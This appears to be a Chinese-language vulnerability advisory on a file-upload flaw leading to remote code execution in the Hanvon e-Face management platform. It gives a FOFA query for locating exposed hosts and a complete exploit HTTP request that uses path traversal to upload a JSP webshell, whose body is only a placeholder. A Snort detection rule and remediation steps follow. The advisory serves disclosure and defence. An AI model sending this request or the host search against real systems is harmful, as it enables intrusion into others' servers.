汉王e脸通综合管理平台 uploadMeetingFile.do文件上传致RCE¶
汉王e脸通综合管理平台 uploadMeetingFile.do文件上传致RCE ,攻击者可文件上传获取系统权限。
影响版本¶
汉王e脸通综合管理平台
漏洞状态¶
| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|---|---|---|---|
| 是 | 已公开 | 已公开 | 已知 |
风险等级¶
| 维度 | 评价 |
|---|---|
| 威胁等级 | 高危 |
| 影响面 | 广 |
| 攻击者价值 | 高 |
| 利用难度 | 低 |
漏洞复现¶
FOFA:icon_hash="1380907357"
POC/EXP:
POST /manage/intercom/..%3B/..%3B/manage/meetingPersonal/uploadMeetingFile.do HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: */*
Connection: close
------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg
<% 木马文件%>
------WebKitFormBoundaryFfJZ4PlAZBixjELj--


snort规则:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
msg:"Hanvon eFace - RCE via uploadMeetingFile.do (CVE-202X-XXXX)";
flow:to_server,established;
content:"POST"; http_method;
pcre:"/\/manage\/intercom\/\.\.%3B\/\.\.%3B\/manage\/meetingPersonal\/uploadMeetingFile\.do/i";
content:"Content-Type: multipart/form-data"; http_client_header;
pcre:"/filename\s*=\s*[\x22\x27][^\x22\x27]*\.(jsp|jspx|war)\x22/i";
content:"<%";
metadata:service http;
metadata:affected_product "汉王e脸通综合管理平台";
metadata:attack_type "Path Traversal + Unrestricted File Upload";
metadata:severity "critical";
reference:url,www.example.com/vulndb/hanvon-eface-rce;
classtype:web-application-attack;
sid:1000139;
rev:1;
priority:1;
)
漏洞修复¶
关闭互联网暴露面或接口设置访问权限
升级至安全版本。